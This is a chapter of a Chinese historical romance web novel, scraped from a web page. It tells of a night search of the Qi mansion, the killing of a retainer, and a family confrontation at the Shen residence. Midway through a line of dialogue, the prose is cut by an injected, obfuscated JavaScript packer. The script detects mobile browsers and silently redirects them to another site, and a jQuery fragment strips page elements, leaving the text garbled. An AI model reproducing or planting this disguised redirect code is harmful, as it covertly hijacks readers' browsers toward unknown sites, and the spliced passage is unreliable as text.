50. 第五十章

    天公不作美,此后的半个月一直是阴雨连绵,沈老夫人做了噩梦,说是有灾祸降临沈家,沈无忧无奈之下只能在夜里加派人手巡查。


    沈绒没办法,风雨交加,围墙处容易留下脚印,只好暂时按兵不动了。


    第二日夜,风已经开始有了刺骨的寒凉,不知是否是沈绒的错觉,今年的秋冬必会格外的冷。


    去戚府的路一切顺利,那里现如今已被查抄,整个府院一片寂静,枯叶落在地上又被风吹动,发出了刺耳的“沙沙”声,像是有什么东西在哭诉。


    姜临煜翻过围墙,见此情景,故意逗弄道:“你说,这像不像戚府的亡魂在哭诉?”


    沈绒神色冷冷,正烦躁于这漆黑的夜色将视线尽数遮挡,“不像。”


    “不像吗?”


    “非要这样说,那也有点像。”沈绒顿住脚步,袭来的声音好似这黑夜里的寒风:“像许家几十个被冤死的亡灵。”


    说罢,沈绒便不理会他,继续朝着书房而去。


    姜临煜哑口无言,看着她的背影,总觉得这一次见面她变得怪怪的。小时候,她不是很怕黑吗?


    不过,他倒是也没有细想下去,正准备抬脚跟上去时,便看到了地上薄薄的灰尘中还有另外一串杂乱的脚印,而脚印所去的方向,正是沈绒走的方向!


    幼时沈绒也跟随戚砚笛来过戚府,那时候她刚刚回到淮安,戚砚笛为了在众人面前展示自己的大度,便借着为戚远舟祝寿的机会,强行带着沈绒去了戚府。


    但一晃六七年过去了,沈绒也只能摸索个大概的位置。


    府内长时间无人打扫已经落了一层灰,沈绒走到一处房门前,小心翼翼的揭开封条。


    瞬间,不远处的连廊尽头传来一阵闷哼声,沈绒下意识的想躲藏,回头一看姜临煜却不见了踪影。


    “姜……”沈绒还没喊出口,姜临煜已经从黑暗中走出来,衣领上沾了血,手上提着一人的衣领,那人被他打的半死不活,腰间的佩剑还没来得及拔出来。


    走到沈绒面前,姜临煜像是丢垃圾一样嫌弃的将男人扔在地上,人已经被他断了手腕,不会对沈绒再有任何威胁了。


    沈绒看着这个人,模糊的记忆里找到了这个人的名字,是戚远舟的亲信,名唤袁赤。戚府下人们都被遣散了,没想到他还留在这里。


    “你想杀我?”沈绒低着头,嗓音冷静自持:“戚笛派你来的?”


    恰好自己今日来,他就在今夜出现在了这里,天下哪有这么巧的事?戚家已亡,能让他听命的人也只有戚笛了。


    袁赤咬紧牙关,口中的血腥味呛人,“你已经害的戚府家破人亡,还回来做什么!”


    此话着实把她逗乐了,他们戚府的人,怎么都这么爱倒打一耙,自己迫害别人可以,别人一迫害到自己身上,便张口闭口自己是无辜之人了吗?


    但沈绒此刻显然没有心思同他辩论这些,又问了一句:“戚笛派你来的?”


    这件事很重要,若是戚笛派他来的,那自然而然戚笛就已经知道了她外出之事,并且很有可能已经在府中演了一出戏等她回去。


    这些日子狂风骤雨的下个不停,沈绒担心楚云的身体,便让他先回府复命,等到雨过天晴再来自己身边。


    没想到,竟然在中间出了这样的事。


    “不是。”袁赤恶狠狠道:“是我自己要杀你!”


    姜临煜懒得同他废话,当下便拔出他腰间的佩剑,划破他背上的衣裳,扯下一块布动作粗暴的塞进他嘴里。


    沈绒看着他的动作,一时不明白他要做什么。


    姜临煜没解释,只是似笑非笑的抬起头,“闭上眼睛。”


    沈绒明白了,却没有依他所言,而是抬起脚向后迈了一步,防止鲜血弄脏她的裙摆。


    姜临煜像是做惯了此事,银白色的刀子蹭的一声没入了袁赤的背部,位置正正好好,鲜血流的不多在他黑色的夜行服上晕染开,看不出颜色。


    顿时,袁赤额头冒出了豆大的汗珠,布满红血丝的眼睛瞪大,眼珠像是要被挤出来一般,口中被堵住只能发出呜呜囔囔的声音,额头因剧烈的痛苦止不住的往地上嗑。


    姜临煜并未拔出刀子,而是松开了手,半蹲在地上,“你也习武,自然也知道哪个穴位不致死,却能让人感受到万箭穿心的疼。你当然可以不说,没关系,你不回去,也自会有人来找你。你受的住,你主子受的住吗?”


    袁赤的脸上瞬间千变万化,唇瓣被他咬破,牙齿上也染着点点红色。


    沈绒没再看他,既然很大的可能已经被戚笛发现,那就该想想下一步的退路了。


    “不急。”姜临煜看出她在想些什么,弯腰将剑拔出来,利索的一刀抹了袁赤的脖子,“你出了府不假,可他们怎么知道,你是自愿出来的,还是被迫出来的?”


    沈绒看了看地上的尸体,又看向紧闭的房门。


    左右如今都已经骑虎难下了,早些回去也不能改变什么,倒不如就现在进去找找,看看那些东西还在不在。


    —————


    沈府内正厅围满了人,明明已经是深夜,却已经灯火通明。


    月霜与星璇跪在地上,抬头互相看看对方,彼此眼中皆是担忧,沈绒为何不在房内,她们也不知情。


    所幸,放着老太太的面,戚笛也不敢下令对杖责她们二人。


    正厅内一片死寂,直到跑去寻找沈绒的小厮跑进来,行过礼后,“老爷,我们在流霜院外的的墙壁上发现了零星的脚印,想来应当是二小姐的。”


    戚笛惊恐道:“这深更半夜的,绒儿翻墙出去是要做什么?这要是传出去……”


    沈无忧此刻也气上头,他才刚觉得这个女儿开始懂事了,就给他闹了这么一出,若不是戚笛发现了流霜院传来异响前去查看谁能知道这丫头居然有这么大的胆子。


    “要你们两个奴婢有什么用?”戚笛斥道:“主子在不在房内都不知道,二小姐若是出了什么


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16133055|172643||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    事,哪是你们两个能弥补的!说,二小姐去了哪里?”


    月霜脸上仍然一片淡定,“夫人,小姐一向睡得早,睡觉轻,从不许我们在房外守着。小姐向来听话懂事,必不可能随意遛出府。”


    “那你的意思是,是有贼人掳走了二小姐?”戚笛冷笑道。


    关乎沈绒清白一事,月霜也没有再说下去,“夫人恕罪,奴婢不是这个意思。”


    戚笛转头看着一直不吭声的沈老夫人,“娘,府兵只发现了绒儿一人的脚印,莫非绒娘是自己出去的?”


    沈绵嘟着小嘴,模样天真无辜,“二姐姐一直不喜欢同人接触,素日里也很少出府,究竟是什么人,能让姐姐宁愿夜里翻墙也要出去见呢?”


    此言一出,在座的人都不约而同的愣住了。


    沈绒在京中又无挚友,那她还能去见谁?结果显而易见。


    “绵儿!”戚笛连忙拉住她,又笑笑,“绵儿口无遮拦,老爷不必放在心上,等绒儿回来问一问就可以了。”


    “没有规矩不成方圆,等到绒丫头回来,一定要好好的上上家法才是。”老夫人闭着眼假寐,手中的佛珠还在转动,说的话却一点也不心慈手软。


    “祖母当真是心狠。”


    熟悉清脆的声音传来,几人不约而同的回头看去。沈绒提着裙子,裙子只有底部有几滴泥渍,整个人很干净,全然不像是被人劫走的。


    只是,待看清她身侧的人,沈无忧脸上立马拨开云雾见到了青天,赶忙迎上去,“臣参见定北王殿下。”


    姜临煜双手背后,轻飘飘地扫了众人一眼,“沈尚书不必多礼。”


    戚笛的心里狠狠的揪了一下,却还不得不陪上笑脸,“绒儿,你这是去哪里了?你知道你父亲有多担心吗?”


    沈绒没说话,反而是姜临煜接过话来,皮笑肉不笑,“担心?沈大夫人口中的担心真让人费解。沈二姑娘被贼人掳走,沈府上上下下这么多人就没一个想到派出去找她的吗?一群人聚在这里分析的头头是道,有一个为沈二姑娘的安危考虑的吗?”


    戚笛被他的气场吓得不敢再多言,急忙退到了沈无忧的身后。


    沈无忧也是不惑,“绒儿,殿下方才说的是有贼人将你掳走了?”


    沈绒点点头,楚楚可怜的开口:“是,绒儿睡得好好的,突然就被一人蒙上头带了出去。绒儿一个柔弱的女子,哪里挣脱得了。”


    姜临煜看着她,这演技的确是不错,别说沈府这群人了,就是自己都差点被她骗过去了。


    “幸好,路上碰到了定北王殿下。”沈绒拿出帕子擦擦眼角的泪珠,“不然,绒儿真不知日后该如何见人了?”


    “这…”沈无忧一时间摸不着头脑,“殿下,臣近些日子在朝堂之上也未得罪什么人啊,可否容臣多问一嘴,这掳走绒儿的究竟是何人?”


    姜临煜似笑非笑,眼神似有若无的瞟向戚笛,“人,自然与沈尚书无关。不过,沈大夫人应当是熟的很啊。”